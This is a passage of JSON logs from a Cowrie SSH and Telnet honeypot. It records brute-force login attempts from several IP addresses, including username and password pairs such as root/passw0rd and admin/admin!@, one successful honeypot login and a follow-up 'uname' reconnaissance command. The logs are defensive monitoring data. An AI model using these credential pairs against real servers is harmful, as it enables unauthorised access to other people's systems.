521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:41.101044Z","src_ip":"165.154.137.186","session":"9e5536b70db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":46610,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc0715aea287","protocol":"ssh","message":"New connection: 103.187.165.26:46610 (10.17.0.5:22) [session: cc0715aea287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:41.535298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:41.539324Z","src_ip":"103.187.165.26","session":"cc0715aea287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:41.782786Z","src_ip":"103.187.165.26","session":"cc0715aea287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49412,"dst_ip":"10.17.0.5","dst_port":22,"session":"eabdcb37df2f","protocol":"ssh","message":"New connection: 8.210.75.243:49412 (10.17.0.5:22) [session: eabdcb37df2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:41.883892Z"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:41.921248Z","src_ip":"165.154.137.186","session":"9e5536b70db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Hello@123","message":"login attempt [deploy/Hello@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:42.789786Z","src_ip":"103.187.165.26","session":"cc0715aea287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:43.196220Z","src_ip":"165.154.137.186","session":"9e5536b70db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:44.037371Z","src_ip":"103.187.165.26","session":"cc0715aea287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36808,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb696b9ada1b","protocol":"ssh","message":"New connection: 165.154.137.186:36808 (10.17.0.5:22) [session: bb696b9ada1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:44.199610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:44.203334Z","src_ip":"165.154.137.186","session":"bb696b9ada1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:44.458393Z","src_ip":"165.154.137.186","session":"bb696b9ada1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40792,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3636a04dad","protocol":"ssh","message":"New connection: 165.154.137.186:40792 (10.17.0.5:22) [session: 0c3636a04dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:44.839292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:44.843038Z","src_ip":"165.154.137.186","session":"0c3636a04dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:45.101360Z","src_ip":"165.154.137.186","session":"0c3636a04dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:45.225749Z","src_ip":"165.154.137.186","session":"bb696b9ada1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:46.069148Z","src_ip":"165.154.137.186","session":"0c3636a04dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:46.483361Z","src_ip":"165.154.137.186","session":"bb696b9ada1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51006,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f9570af1653","protocol":"telnet","message":"New connection: 170.64.224.25:51006 (159.203.135.109:23) [session: 1f9570af1653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:46.873039Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:47.328467Z","src_ip":"165.154.137.186","session":"0c3636a04dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36818,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef196e58d696","protocol":"ssh","message":"New connection: 165.154.137.186:36818 (10.17.0.5:22) [session: ef196e58d696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:48.106129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:48.109856Z","src_ip":"165.154.137.186","session":"ef196e58d696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:48.375344Z","src_ip":"165.154.137.186","session":"ef196e58d696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:49.174644Z","src_ip":"165.154.137.186","session":"ef196e58d696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":38318,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f7bc3a1574e","protocol":"ssh","message":"New connection: 2.57.122.209:38318 (10.17.0.5:22) [session: 5f7bc3a1574e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:49.996827Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:50.444619Z","src_ip":"165.154.137.186","session":"ef196e58d696","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:50.486260Z","src_ip":"2.57.122.209","session":"5f7bc3a1574e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:50.488703Z","src_ip":"2.57.122.209","session":"5f7bc3a1574e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6345dfe0558","protocol":"ssh","message":"New connection: 165.154.137.186:39380 (10.17.0.5:22) [session: e6345dfe0558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:52.795336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:52.799161Z","src_ip":"165.154.137.186","session":"e6345dfe0558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:53.069587Z","src_ip":"165.154.137.186","session":"e6345dfe0558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:53.883779Z","src_ip":"165.154.137.186","session":"e6345dfe0558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:54.001858Z","src_ip":"2.57.122.209","session":"5f7bc3a1574e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33276,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e8a92cb589","protocol":"ssh","message":"New connection: 8.210.75.243:33276 (10.17.0.5:22) [session: 39e8a92cb589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:54.198127Z"}
{"eventid":"cowrie.session.closed","duration":72.84925603866577,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:54.338246Z","src_ip":"170.64.224.25","session":"105d990d8fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:55.156946Z","src_ip":"165.154.137.186","session":"e6345dfe0558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e645d9489df3","protocol":"ssh","message":"New connection: 165.154.137.186:39394 (10.17.0.5:22) [session: e645d9489df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:55.186390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:55.189800Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:55.442461Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:55.606926Z","src_ip":"2.57.122.209","session":"5f7bc3a1574e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:56.331211Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:56.879362Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:56.882157Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:57.136383Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:57.139971Z","src_ip":"165.154.137.186","session":"e645d9489df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39400,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae94c69e48de","protocol":"ssh","message":"New connection: 165.154.137.186:39400 (10.17.0.5:22) [session: ae94c69e48de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:59.067794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:59.071752Z","src_ip":"165.154.137.186","session":"ae94c69e48de","protocol":"ssh"}
